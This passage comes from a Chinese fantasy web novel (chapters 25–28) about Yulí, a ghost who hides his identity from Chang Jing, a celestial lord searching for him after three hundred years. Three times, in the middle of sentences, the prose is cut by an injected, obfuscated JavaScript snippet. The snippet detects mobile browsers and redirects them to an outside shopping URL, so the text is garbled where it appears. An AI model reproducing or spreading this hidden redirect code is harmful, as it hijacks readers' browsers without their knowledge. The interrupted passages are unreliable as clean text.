什么?!这个灵体明显是妖族,冉松鹤竟然还有一个妖族徒弟!他莫非就是壁画中的那群妖族,不知因何缘故,被抹去了存在的痕迹,所以在史书的记载里,冉松鹤从来就只有渊渟一个徒弟。 灵体接着说:“你们再等等。我好像,还有什么事情没想起来。” 他们三人在旁边等了足足一炷香的时间,看着灵体飘在空中变换着各种姿势努力回想。 终于,他开口:“我想起来了,我留在这里,是为了交给人一样东西。我等了太长时间了,才等到你们三人,那便交给你们吧。” 郁离:“等等!” 不是,都不确认一下等的是他们吗。 灵体没听他的话,自顾自围着他们三人绕了一圈,其中停留在冉愉面前的时间最长。最后他却不知从哪儿掏出来一个已经褪了色锦囊,交给了郁离。 郁离接过锦囊还未回过神儿来,灵体又开口:“时机一到,锦囊自会发挥作用。你们速速离去吧,我终于可以去找师尊了。” 灵体话音刚落,一道光芒便包裹住了他们,直接将他们传送到了秘境之外。 郁离还维持着捧着锦囊的动作,再一睁眼,人已经出现在六河镇的山头上了。他还记得,他在被传送出秘境外的最后印象,是那个灵体渐渐消散的样子。在光芒的照射下,看起来十分欢喜雀跃。 只是不知他清不清楚,他的师尊早已和他一同战死在那场浩劫中了。 常瀞拔出剑支在地上,一手扶住郁离:“不是,这也太突然了吧,一下就给咱们扔到最外边了。” 冉愉也差点摔倒,好在一旁就是棵树,及时扶住了。 郁离一个激灵收起锦囊,怕被人看到。 常瀞:“咱们进去几天了?” 没等郁离和冉愉开口,一个恶狠狠的声音就回答了他:“快四天了!你们不是很厉害吗,怎么没等到最后一天就出来了,这么狼狈,不会是被人打出来的吧。” 常瀞抬头,见是进秘境第一天就被他们扔出去的杜丰年和许益,后面还跟着玄风门另外三个弟子。 杜丰年还是一副很嚣张的样子,他用剑指着常瀞和郁离,对冉愉道:“冉愉,我劝你别插手。上次给了你们一个面子,这次是他们在秘境里先偷袭我们,这笔账我们玄风门必须要算。” 冉愉低声询问是否需要他出面,得到了常瀞否定的回答。 “不用,说来我也算是你师兄呢,哪有师兄让师弟出面的道理。”常瀞默默挪到郁离身后,拍拍他的肩膀“上!赶走他们!” 郁离:“……” 你比人家不知道大了多少轮,算是人家哪门子的师兄。 莫名其妙被送出秘境还是给许益留下了一些阴影,他劝杜丰年:“师兄,咱们收着点儿吧,这不是在秘境里面,闹出事儿就不好了。” 况且他被送出秘境后,就总觉得这两个号称是从不知名小宗门来的人深藏不露,万一出事儿人的是他们怎么办呐。 杜丰年已经什么都听不进去了:“你看看,他还敢说什么赶走咱们!我要再不出手,玄风门的脸都要被他们按在地下踩了。” 许益小声:“他们也没说要按着玄风门的脸踩。” 杜丰年恨铁不成钢地长出口气,不再理还在小声嘟囔的许益,拎起剑就气势汹汹朝常瀞郁离杀过去。 “唉。”郁离也无奈地抬了下手。 一道银光闪过,带着强大的压迫力将杜丰年和许益拦腰掳走,还没忘了带上玄风门在一旁观战的三个弟子,一直到几十里外才放他们下来,眼看着一时半会儿是回不来了。 冉愉见郁离如此轻易就将玄风门打发走,暗自心惊。 半空中又是一道光闪过,是廉方和秦子谊喊着“师兄师兄”从秘境里出来了。 廉方一见到常瀞和郁离,眼睛就瞪了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196571|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“你们怎么还在!阴魂不散的。” 冉愉垂眉:“廉方,不得无礼!” 廉方撇嘴:“无礼,无礼,师兄我看你就是太守礼了,太守礼真的很无趣。” 常瀞笑眯眯地道:“没事儿,这孩子挺直率活泼。” 冉愉却是一怔。守礼,是的,他出生在太虚山,从小到大所有师长都夸他乖巧守礼。 可方才廉方这句话一出口,他记忆里突然浮现出几个有人温声斥他“胡闹”的碎片,就好像他本不该是这样乖巧守礼的性格。 是谁,在斥他? “师兄,师兄,你在想什么呢?”廉方伸手在冉愉面前晃晃。 冉愉回过神来,微笑道:“没什么,说起来秘境不是开五天吗?你们怎么提前一天出来了?” 廉方:“我和子谊到秘境深处放宝藏的正殿没多久,来那边的人就越来越多,后来甚至有为抢东西打起来的。还有玄风门那两个家伙不知怎的也没露面,师兄你不在,我和子谊担心他们耍什么花招,干脆挑了东西就提前出来了。” 冉愉心道,你们当然见不到玄风门的人,因为他们第一天就被人给踢出局了。 他目光移向从秘境出来以后就咧着嘴笑的秦子谊:“子谊,你是从秘境里带了什么好东西出来,这么高兴。” 秦子谊眼睛发亮:“是九转回春丹,一整瓶。” 廉方笑他:“人家都拿武器功法,就你拿瓶丹药出来。” 秦子谊认真回道:“这瓶丹药关键时刻可以救人性命,拿回去咱们宗门的人都能用。我听安长老说,现在没几个人能炼出这种这种丹药了,就算炼出来量也特别少。” “好了好了,你们两个想拿什么都没错。”冉愉安抚完他们,回头找郁离和常瀞。 郁离揣着手:“那便这样,咱们就在此告别吧。秘境里的事情,咱们先各自留意着,若有消息,咱们就互相通知一下。” 冉愉拱手:“好的,只是不知我该如何联系二位。” 郁离和常瀞对视一眼,无奈道:“你联系我吧,到鸡鸣巷找我便好。” 冉愉有些惊讶,没想到带着面具的这位竟是来自鸡鸣巷。鸡鸣巷这种游走于酆都和凡间的特殊存在,对于他这种守礼规矩的修仙宗门弟子来说还是太神秘了。 他应下,带着他的两个师弟离开了。 不知不觉,已经月上枝头。傍晚的山风吹过,还是有些寒凉。 郁离抱着臂,轻轻吸了吸鼻子。 一件洁白的外袍带着暖意落在郁离肩头,常瀞收回手:“山顶是有些冷呢,咱们也快点下山去吧。” 六河镇山下的集市今夜格外热闹,处处张灯结彩。街边的小店里几乎每一户都摆上了河灯,街面上的男女老少手里也都捧着盏河灯朝镇南走去。 常瀞随手拉过一个疯跑的小男孩:“小弟弟,今晚是有什么热闹啊?” 小男孩停住,对眼前的这个漂亮哥哥耐心道:“你们一定是从外乡来的吧,今夜是我们这儿三年一度的颂神礼呀。” 常瀞松开手,他想起来了,飞升前他曾来过附近的一个镇子,参加过一场颂神礼。颂神礼是这一片的好几个镇子一起办的,原来六河镇也是其中之一。 郁离此时也想起了常瀞曾与他提过的颂神礼,可惜他当时对外界的事物都无从了解,因此没有什么特别的感触,唯一好奇地便是常瀞为他放的那盏河灯上究竟写的是什么祝愿。 他回头,笑对着郁离,湘色的眸子眨了眨:“咱们也去看看吧,好不好。” 郁离移开眼神,点点头。这人真是,顶着这样一张让他欢喜到舍不得移开视线的脸,还总是冲他笑,这让他怎么能忍心开口道出拒绝的话。 他们买好河灯,越朝河边走人越多,多到稍有不慎,二人便被人群冲散。常瀞不得不拽住郁离的手腕。 河边的人们已经放起了好多盏河灯,一盏盏如同绽放着的镶了金边的莲花,将河面染上金黄与橙红的色彩。 郁离感受着腕间传来的热意,一步一步,跟着常瀞走向那片被灯光映红的河岸。此时的他就仿佛在奔赴既定结局的途中,绕了一圈远路,得以途遇一场瑰丽的梦境。 梦境虽美好,却改变不了它虚幻的事实。他们,终究还是会走上注定的道路。 26. 问心(一) 常瀞拉着郁离在人群中穿行,艰难地挤到河边。他们身旁有位老婆婆正在放河灯。 老婆婆手中托着一盏莲花河灯,口中念念有词。烛焰在莲心跳动,在她虔诚的面庞上映出斑驳的光影。她轻轻将河灯送到了水面上,那小小的盏河灯便摇摇晃晃地汇入万千烛光组成的巨大光流中,随着河水一同飘向远方。 郁离注视着那盏小小的河灯,突然开口问道:“他们都在祈求神佛保佑,可是真有人的愿望能够实现吗?” 常瀞蹲下身在纸条上写着什么,随口答道:“不管怎么说这总归是种美好的期盼,人还是应当有点念想。” 郁离摸摸肩上披着的外套,重复了一遍:“是啊,总该有点念想。” 常瀞举起一张纸条,朝郁离笑:“你不写吗?” 郁离微微垂头,看向常瀞的那双笑眼:“写的。” 他们很认真地将纸条写好,放在了河灯里。 两朵明亮的莲花河灯几乎同时被他们放在水面上,被流水裹挟着一同送往远方。水流虽急,那两盏河灯却始终不曾分离。 回六河镇的路上,山道旁树影婆娑,有风一阵一阵地吹着。 常瀞不小心踢到一颗石子,石子转啊转,滚出很远。 他问郁离:“对了,你许的什么愿望啊。” 郁离睫毛颤动:“没什么特殊的,就是希望我的朋友们都平平安安。你呢。” “我不说,说出来就不灵了。” “喔,那没事儿,反正我方才也是骗你的。” “好哇你!” 这一段路上人忽然少了起来,走动之间,甚至能听到树叶被风吹响的声音。 常瀞略微落后几步,注视着郁离的背影。 走在前面的少年身形很是瘦弱,像是整个人空荡荡地被装在常瀞的外袍里。一阵很大的风刮过,外袍扬起,常瀞下意识伸出手,怕他被风吹走。 他忽然就不想装下去了,不想再一次一次的试探。 常瀞声音颤抖却坚定:“我曾来过一次颂神礼,在我入上清境之前。” “是吗,那你同这里还挺有缘分的。”郁离回过身,站在不远处,“星君,咱们这一趟到这里差不多该结束了,巷子那边也挺忙的,咱们就此别过吧。” 又开始了,他又开始试探了,还是快跑吧。 常瀞嘴张了张,又合上。郁离打断他的话语就像给他泼了一盆冷水,他又不敢问了。 郁离就是他的念想,他守了三百年,一直支撑着他。飞升前的某一天,他无意瞥见镜中消沉的自己,恍惚间想到,郁离怕也不会想要见到自己如此颓废的样子。 于是他一点一点学起从前自己的摸样,学得久了,便好像真的变回了从前。许是他每天面上心平气和了,修炼上卡着他的瓶颈也松了,他终于飞升。 常瀞欣喜若狂,满心以为能在上清境找到打开深山结界的方法,可哪曾想上清境里也没有答案。 一次次失望,一次次无功而返,深山那边再也没有传来过回应,他有时都想着,或许他们再也见不到了。 就在他绝望之时,身边忽然出现了一个如此相像的人,他小心翼翼地对待,怕是一个幻影,一戳就破。 相处到如今,那种相似的感觉愈演愈烈。他怕他是,怕郁离真生气他缺席了一年,不认他了。他又怕他不是,那他被吊起的心,又该无处安放了。 半晌,他揉揉自己发僵的嘴角,开玩笑般道:“这么匆忙,就这么不想和我待在一处啊,你该不会回去以后就躲着我吧。” 郁离嘴角一僵:“怎么会,咱们两个,还有冉愉,现在不是相当于被秘境的事情绑在一起了嘛,以后发现什么新消息咱们还得互相告知呢。” 他礼貌颔首,不忘褪下身上的外袍,还给常瀞,随后加快脚步转身离去,不再看常瀞是何表情。 在又走过一个转角后,郁离仔细确认了常瀞没有跟上来,撒开腿就跑。 太吓人了,常瀞怎么突然就提到从前,他不会已经发现了吧。他把脸捂得这么严,常瀞到底是怎么发现的。 跑了一阵子,他气喘吁吁地停下。 唉,到底身子是没有从前好了。从前巡山,那么大一座山,一天巡几遍,连跑带爬树的,都没事儿。 缓了一会儿,郁离冷静下来,短时间内立刻避而不见不现实,况且他们之间还被秘境拴着。 这次叫他打个岔逃走了,下次可未必。只能见招拆招,无论他怎么问,一定得咬死了,不能认。 郁离看了看天色,此时已是深夜了。念着明日还要去看一眼碧影山,郁离没有立刻朝鸡鸣巷赶路,而是向六河镇的山上走去,寻了棵树休息。 休息了一夜,郁离也没睡踏实,半梦半醒间,全是常瀞的脸。常瀞少年时期耍赖撒娇的样子,再遇后常瀞笑盈盈的样子,交织在一起,让他分辨不清。 他向前追着追着,想抓住常瀞的衣角,可常瀞却任他叫喊,一次也没有回过头。最后他终于拉住了那片衣角,常瀞也回过头,却是冷着一双眼,盯着他。 郁离被那双眼瞪着,惊醒过来,久久未动。 这其实也不算梦,他记得的,常瀞冷眼看他的样子。 循着已经不那么清晰的记忆,郁离翻山越岭,走回到中原境内,终于抵达了碧影山。 这是他第一次从在山外看碧影山。之前离开碧影山的时候心神恍惚,对路上的事情已经没什么印象了,后来更是再也没有来过。 他站在山外,感知不到与碧影山的任何联系。 山外笼着一层大雾,看不清虚实。郁离试探着向雾中走了几步,果不其然,又从几步开外的地方钻了出来。 试了几次,郁离确认了,他是真的再也进不去了。 他挑了一棵树,慢慢爬上去,抱住自己的膝盖,轻声冲着大雾道:“松爷爷,我回来了,你和碧影山还好吗,灵笋又长起来了吗?” “松爷爷你一定还在生我的气吧,气我选了这条路。可我不后悔,无论是为了你们,还是为了常瀞。” “我总觉得是自己害了你们,没脸回来。可这次我和你们离得这样近,我想了又想,还是忍不住回来了。这里是也曾是我的家啊。” 郁离说了很久,将自己离开之后的经历都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196572|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲了个遍,雾气那边的碧影山中仍然没有回应。他不再说话,慢慢将头埋进膝盖之间。 “我好想你们。” 太阳升起,郁离不知不觉在树上睡了一整夜,他动了动僵硬的腿,准备下树。 此地十分偏僻,鲜有人迹,因此在鸟叫声中出现别的动静时,会特别明显。 郁离停下下树的动作,警惕地重新靠回到树上。 这里生长的树木都年代久远,茂盛的叶片将郁离遮得严严实实。他透过树叶的间隙看到了一个人影在慢慢朝这边走来。 正是才分别不久的常瀞。 他打算来这里的时候便算过时间,今天便是他从前与常瀞约定的日子。 只是郁离根本没想过,三百年过去了,连他都没再来过碧影山,常瀞又怎会在没有回应的情况下,一年又一年的到这里赴约呢。 或许常瀞只是同他一样,刚好人在附近,便过来看看。郁离安慰自己。 常瀞拎着一壶酒,轻车熟路地走到一块上面被磨得光滑的石头上坐下。 他眼神空洞,盯着浓雾沉默了好一会儿,才拔出酒塞,喝了一大口。 “郁离,我来了,今年是不是挺准时呢。”常瀞喝完酒,拍拍自己的脸颊,换上一张笑脸。 “今年,今年我还是老样子,不好也不坏。只是近来遇到个人,他太像你了。不对,我几乎可以肯定他就是你。” “我离开后的第十年没能来,后面再来的时候,怎么喊,山里都没有回应了。我真傻,还以为是你生气了,气我那年没来。可我怎么就没想到,你还可能是出去了呀。不在山里,所以没有回应。” 常瀞又喝了一口酒,喝得很急,酒液顺着他的下巴淌到衣领上:“唉,我怎么就没想到呢,你又不是胡搅蛮缠的人,我就一年没来,你再生气也不至于一气气我三百年吧。” 什么,他在说什么!这三百年,他竟然年年都会来这里吗?原来常瀞一直都没有忘记和他的约定。郁离死死咬住唇。 常瀞还在树下说:“你知道吗,我这次来之前,差一点儿就跟他挑明了。呵,可我也真是个废物,离真相就差一步了,又缩回去了。” “我就是太害怕了。我等了三百年,等不来一个奇迹。现在上天忽然将这么一个人送到我面前,我又畏畏缩缩的。” “这一生前三十年的经历告诉我,太轻易就能获得东西,都是我留不住的。我怕我挑明了,后面还是留不住。再来一次,我真的会崩溃的。” 酒壶里的最后一口酒被常瀞喝完,“啪”一下碎在地上,他抬起已经有些发红的眼:“不过我现在想明白了,他是我活过这三百年最后的一点念想,不管怎样我还是想抓住他。我不能,再看着他消失了。” 郁离一动不动听着常瀞在树下说话,指甲深深嵌进掌心里。 鬼的心不是早就不会跳动,成了摆设吗。为什么,他的心还会这么痛。 郁离捂上心口,胳膊不经意撞到了一根树枝。树枝晃了晃,发出了不小的声响。 他呼吸一窒,连忙稳住身形,可树下的常瀞已经发现。 “谁!” 27. 问心(二) 怎么办怎么办!下去,还是不下去。 郁离这头还僵在树上疯狂思考着应对方法,常瀞在树下又道:“下来吧,我看到你了。” 于是,树枝晃了晃,郁离哆哆嗦嗦地从树上下来了。 然而出乎他意料的是,常瀞并没有惊讶躲在树上的人是他,也没有质问他为什么会出现在这荒郊野岭。 常瀞只是平静地坐回石头上,示意他也找个地方坐。 郁离战战兢兢地坐下,等着常瀞先开口。 常瀞放在腿面上的手虚握成拳,沉默了半晌才开口:“我是不是没和你提起过,我在飞升前的事情。” 郁离小声:“嗯。” 手又攥紧了几分,常瀞道:“我十五岁那年就来过这里——” 郁离猛然站起身就想溜,都没等常瀞说完:“星君,我突然想起我还有点急事。” “坐下。” 常瀞也不看他,就淡淡的一句话,让郁离挪不开脚步。 “再陪我坐会儿。我话说完了,你若还是想走。”常瀞顿了顿,“便随你。” 郁离已然意识到常瀞此时的情绪很不对劲。他想了想,还是选择听话地坐了回去。 常瀞对着碧影山外终年不散的大雾,开始讲起他的从前。 那时的常瀞啊,可当真称得上少年意气,鲜衣怒马。出众的天赋,显赫的家室,再加上过分漂亮的外表,让他在人群中永远是最亮眼的那个。毫不夸张地说,大昭王城里谁人不知常家的小少爷。 他十五岁那年一个人偷偷溜出太虚山,游历到中原快入南疆的地界时,遇到恶鬼在一户人家作乱。他立即出手平祸,可还是一时不察,放跑了一只恶鬼。 常瀞追着那只恶鬼,一路跑进了深山,哪曾想迎接他的却是更加强大的数十只恶鬼。他单枪匹马,终究力有不逮。他拖着一身重伤在山林间躲避打转,最后终于甩开了恶鬼,人却不知跑到了哪里。 平时一道细细伤口都闹着喊疼的人,那日也不知凭着从何处而来的意志力,愣是又神志不清地挺了许久才倒下。 常瀞嘴角微微翘起,似乎是陷入了回忆:“那晚我昏倒前最后的印象便是郁离。他身边亮着星星点点的幽光,就像是山野间天地生养的精怪,忽然出现在我面前。” 眼前的少年有一对又圆又亮的黑色眸子,及地长的黑发是散着的。他裹着一身苍绿色的宽大长袍赤足立在竹林间,手腕足腕间能看到缠绕着几圈带着新叶的绿枝。 真好看啊,他从未见过这种充满灵气的、非人般好看的相貌。这是常瀞倒下前的最后一个念头。 再醒来时,他发现自己伤口已经被妥善包好,血也止住了。那个少年见他醒了,眼睛瞪得比昨日更圆,如同受惊的小兽,飞快蹿到了树后,只探出个头。 常瀞从鼠妖口中得知,救了他的少年已经被困在这山中不知多少年后,心头牵起泛起丝丝缕缕的疼。他儿时曾遇绑架,被困于一方窄院间半月有余。单单被困半月都令他叫苦连篇,何况眼前这位少年的情况。 他认真为他取了个名字,在心里暗自决定一定要带他的小救命恩人出去。 自此,赠名之缘与救命之恩,启封了他们一生的命运纠葛。 养伤期间,常瀞慢慢将郁离当成了弟弟,当成了亲人。伤好后,他还不舍得走,甚至动起过干脆留在这儿不走了的念头。 可他终究不可能一辈子留在这里,常瀞最后还是走了。 他回到太虚山,不再仗着天赋好就不务正业。他刻苦修炼,花了大量的时间去寻找破开碧影山结界的方法,尝试了很多偏门左道都毫无作用。 他每一年都会去碧影山看郁离,虽然看不见人,但能听见到郁离发出来的动静,知道他在,也是好的。 时间和地域并没有拉远他们之间的距离,反而因着期待这份约定而起的喜悦与酸楚,让他们的联系越来越紧密。 转折点是第十年。 常瀞声音变得苦涩:“我家里出了事,那一年没能赴约,下一年我再去时,碧影山里任我怎样叫喊,都不再传来回应。我失去了亲人,失去了朋友,一度找不到活下去的意义。就是这份一定要带郁离出来看看的约定牵住了我,让我知道,我还有一份牵挂在世上。” “我每年都会回来这里,找他说说话。不然,这么大一座山,他一直一个人,该多寂寞啊。” 郁离用尽全力才能控制住自己不顾一切全告诉他的冲动。 常瀞忽然转过身面对郁离,他的眼睛变得通红,一字一句如在泣血:“现在你告诉我,你是不是郁离!” 郁离气息平稳,说出那句他反复在心里默念的那句话:“星君认错人了。” 心痛得和他死掉那天一样,他该庆幸他脸上还戴着面具,不会让常瀞看见他已经湿掉的眼眶。 常瀞直接起身,一步三跨走过来,高高扬起想要摘掉郁离面具的手,却在距离面具一拳长的位置被死死抓住。 郁离的掌心冰凉,他道:“星君,此举不可。你愿意将这些往事告诉我,也是将我当做朋友。我也可以帮你一起找找解开结界的方法,只是,我真不是你要找的人。” 常瀞甩开他的手,高声道:“你今日出现在这里!你店里放着我爱喝的茶叶!你和他相像的名字!没相处过几天你就毫不犹豫为我挡刀!和他一样都爱拽我的衣角!还有身边带着的和碧影山里小灰脾性一模一样的傀!遮遮掩掩不让人看的脸!你再敢跟我说一遍你不是他?!” “星君再问几遍,我的回答都是不是。” “那你让我看看你的脸!” “鸡鸣巷有规定,不可便是不可,不是便是不是。” 常瀞被他的态度气急了,喘着气不再说话。 郁离缓缓起身:“星君若无其他事,我便先走了。” 常瀞坐回石头上,又取出一瓶酒,不再看他:“好,你走吧。” 郁离一下卸了力气,他都不知道自己是怎么转身,又是怎么迈开步子的,只知道自己正在一步一步离常瀞远去。 走了不知多少步,身后又有声音飘来:“那他这些年过得好吗。” 过得好吗,怎样算不好,怎样算好。救了人报了仇算好,流离失所身死异乡算不好,合起来又如何清算的出呢。 这世间种种如果通通都能单论好与不好来衡量,便好了。 郁离停在原地,听见自己口中蹦出了一句冰冷的话:“星君,说笑了,我怎么知道。” 他说完便不再停留,只听到身后传来一声清脆的声响,是酒瓶碎裂的声音。 郁离浑浑噩噩回到鸡鸣巷,一刻未停便开始处理鸡鸣巷和妙笔的事务。他想将自己埋进忙碌的日常中,这样方能不再想起常瀞那日声声泣血的质问。 他不曾想,不敢想,自己日日心如刀割痛过来的三百年,常瀞也陪着他一起在痛,他自觉担不起这样深厚的情谊。 褚游和施娘发觉郁离显而易见的不对劲儿后,三天两头来妙笔陪着他。郁离打起精神,劝他们各干各事,他这边没什么事儿。 可他这哪像是没事儿的样子,整个人俨然回到了刚来鸡鸣巷的模样,终日失魂落魄的。 两个人急得团团转,背地里偷偷骂常瀞,孩子就跟着出去了一趟,回来就变成这样,肯定是他害的,下次怎么说也不会把人交出去了。 褚游最后也是没办法了,搞来一壶烈酒,拎着就上门去了。 施娘蹙着柳眉,推他一把:“你这能行吗?上回那么一点就给小阿离喝醉了。” 褚游提起酒瓶:“一醉解千愁,试试呗,没试过你怎么知道行不行。” 或许是因为太压抑了无处诉说,或许是褚游带来的酒真的有效。郁离一杯酒下肚,对他们讲起了他与常瀞的相遇,以及后来急转直下,不敢轻易触碰的过往。 施娘听完红了眼,摸摸郁离的头:“你以前怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196573|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不提这些事,我们小阿离怎么这么让人心疼呢。” 褚游猛灌了一大口酒,酒杯重重落在桌子上。 “我总觉得没什么好说的,说出来除了得到别人的同情以外,还能得到什么呢。”郁离又给自己倒了满满一杯,“出了这些事后,我还能来到鸡鸣巷,还能认识你们,已经很欣慰了。” 施娘送上八条大尾巴包住郁离:“所以星君是你的心上人吗?” 郁离被问愣了,抬起的酒杯在空中停住,酒液洒出来几滴。 心上……人? 他摇头否认,好像很混乱。 施娘追问:“那你把他当做什么呢?朋友?哥哥?” 他喃喃道:“朋友不对,哥哥好像也不对,我怎么好像从来没有想过他对我来说是什么身份。” “你怎么会没想过呢?你都为他做到这个地步了。”褚游明显喝多了,伸出一根手指在他眼前晃晃,又指向自己胸口,“就比如我,我就是喜欢殿下,喜欢到可以放弃死后入轮回,来到这鸡鸣巷。” 郁离迷茫着继续摇头:“是为了他,可也不全是为他。“ 施娘换了个方式问:“那这么说吧,说说你对他是怎么想的。” 郁离沉默许久,才抬头盯着窗外的月亮开口:“他是我在这个世上遇到的第一个人,他出现以后,我才真正有了活着的感觉。我不想他死,我想他好好地活着,快乐的活着,哪怕他的这份快乐不是因我而起也可以。可我又想,将他据为己有。” 施娘给他倒了浅浅一杯:“傻阿离,这不是心悦,还是什么。” 原来这就是……心悦吗? …… 上清境,月宫。 常瀞从碧影山回去后,倒头就睡,睡起来也不做别的,就盯着庭院里的小竹林,盯累了就继续睡。 把白兔急得蹦来蹦去,粗着嗓门:“星君,您这是怎么了,我年纪大了,可别吓我啊。” 常瀞看着它一对长耳朵在眼前晃来晃去,就想起郁离抱着它不撒手的样子。 烦烦烦。 他拎起白兔的耳朵扔到门外,然后“砰”一下,把门闭得紧紧的。 白兔呜咽了一声,跳走了。 它壮着胆子出了月宫,想着看看能不能找来个人劝劝星君。 小时候常瀞经常将它带出月宫,随便什么人见它都来摸一把,它被摸得十分麻木。久而久之,它养成了个大门不出,二门不迈的性子。 它随意挑了一个方向哆哆嗦嗦向前蹦着,许是它今日确实运气不错,没蹦几步就遇上了平日里和常瀞有些来往的人。 祝星悬似乎是感应到它了,停住脚步:“是常瀞的兔子吗?我猜猜看,是不是他遇上了点麻烦啊?” 白兔拱起前爪,快哭了:“仙君,您快去看看吧,活像失了魂。” 祝星悬脸上挂着笑:“别急别急,我就是去找他的。他没事儿的,这对他来说,才是好事啊。” 白兔没听懂她在说什么,她们卦师说话可真是和谜语一样。 在白兔一蹦一跳的带领下,祝星悬来到月宫,并且成功敲开了常瀞的房门。 常瀞又死气沉沉地飘回床边坐下,也不说话。 祝星悬笑道:“怎么啦,这趟没有惊喜吗?” 常瀞嘴角耷拉着:“这也算惊喜?若这就是惊喜,那我无话可说。” 祝星悬坐正:“说说吧,这趟发生什么事儿了。” 常瀞抱住膝盖埋着头,声音闷闷的,讲完了这一趟从入秘境到碧影山的经过,只是省去了他们在六河镇大秘境里面套着的两层小秘境中发现的事情,甚至还将他与郁离的事情和盘托出了。 这些事在他心里憋的太久了,三百年里都无人诉说。 祝星悬听完,笑道:“所以这不是好事吗?你终于找到他了,他还从山里出来了,你们现在若是想见面随时都可以见到彼此,这还不算是我算出来的惊喜吗?” 28. 问心(三) 常瀞终于抬起头来,看着祝星悬的眼神中充满了难以置信:“你还真觉得这是好事儿?!” 祝星悬双手撑在椅子上,向后坐了坐:“你且听我说。” 常瀞仰倒在床上,敷衍道:“你说你说。” “你先告诉我,你现在是不是能确定了,鸡鸣巷的小巷主就是你要找的人。” “我非常确定,但是我光确定有什么用,他也不认呐。” 祝星悬头微微一偏:“你觉得,他为什么不认你。” 常瀞气呼呼翻个身:“我想不到,但肯定不是因为生我的气。” “或许他不认你,是觉得这样对你好呢。” 常瀞猛地坐起身,气道:“我现在这个样子就是好了?!” 祝星悬避开他这个问题,问起其他:“那天最后你让他走了,接下来打算怎么办。” “什么怎么办,我还能拿他怎么办,还能真的不管他了!”常瀞说着说着,开始委屈,“他气我,还不包哄的,我只能先把自己哄一哄,哄好了,再去找他。” “噗,哈哈哈哈哈。”祝星悬没忍住笑出来,“我从前怎么没看出来你是个这样的性格。” 常瀞无语极了:“你今日到底是来看我笑话的,还是来开导我的。” “咳咳,这不是没事吗。你们说这么呢,这么开心。”常瀞房间的门没有关,姬润直接走进来,“我一进月宫就看见你的兔子苦着脸,眼睛红红的,一个劲儿让我赶紧劝劝你。吓得我,还当你是怎么了呢。” 常瀞见是姬润来了,也不惊讶。 他同姬润从前还在大昭时,便是好友,还有陶然,他们三个时常混在一处。每次他们被发现闯什么祸了,阿娘就说他和陶然,一天天带着姬润不学好,姬润多乖的一个孩子。 把他和陶然气得牙痒痒,还无从辩解。毕竟姬润小可怜的形象太过深入人心了,深入到除了他们没人清楚,其实姬润只是看起来乖巧,实则蔫坏。 姬润捧着个暖炉刚坐下,祝星悬就向他说起来常瀞方才的惊天的言论。 “你真的找到他了!竟是鸡鸣巷那位小巷主。咳,不过真好呀,你总算把他找回来了。”姬润听完很是惊讶。 他向常瀞道完喜,转头又朝祝星悬笑道,“他这些话都不算什么,你不知道,我们从前都偷偷叫他撒娇精来着,他私底下对着他爹娘大哥可会撒娇了。” “是吗,这样的啊,哈哈哈。” “姬润你!” “好了好了,我错了,我不说了。咳咳,星悬你也不许再给别人说啊了。” 祝星悬将她手杖上五颜六色的布条一点一点解开来,再细细地重新缠好:“你这下就这么去找他,他八成会躲着你吧。” 常瀞的眼中恢复了些神采:“我都想好了,我就直接跟他说,之前是我认错了,从前的事情他不认,我这个朋友他可不能不认。我就先这么稳住他,再徐徐图之,我就不信了,我非得让他亲手把面具摘下来给我看!” 姬润突然道:“我其实一直想跟你聊聊他,你是真的只将他当做弟弟,或是朋友吗?” 常瀞不解:“什么意思。” 祝星悬也道:“如果只是当做朋友或是弟弟,你知道他好好的,就算他不认自己是郁离,单论鸡鸣巷的小巷主这个身份,和现在的你也同样算是朋友呀。” “不对不对。我不想要这样,我就想和他回到从前在碧影山中那样。”常瀞起初神色迷茫,随后又充满悲伤,“他如今可是鸡鸣巷的巷主啊,他已经死过一回了,可我却什么都不知道,我差一点儿,就永远见不到他了。” “唉也是,不过事情都已经发生了,现在他人从碧影山出来了,你也找到他了。”姬润手指点点椅子的扶手,“他不认你,肯定也有他的原因,你也一样可以时不时去看看他。难道你非得逼着他认,然后和他像在碧影山里一样,日日夜夜待在一处吗?” 祝星悬附和:“弟弟和朋友也不可能日日夜夜待在一处啊,能日夜待在一处的只能是……夫妻。” “夫夫夫——妻。”常瀞听罢瞪大双眼,脸上飘起了一抹可疑的红色,“我,我没想那么多,我现在就是想每天睁开眼就能见着他。” 祝星悬乐不可支:“这还不算吗?你怕是把他当做你的小娘子了吧。” 常瀞脸爆红:“娘娘娘——子” 没等他们就常瀞和他的小娘子一事继续讨论下去,月宫里又来人了。 这次来的是仙侍。 白衣小童拱手道:“星君,天尊请您到正法殿一叙。” 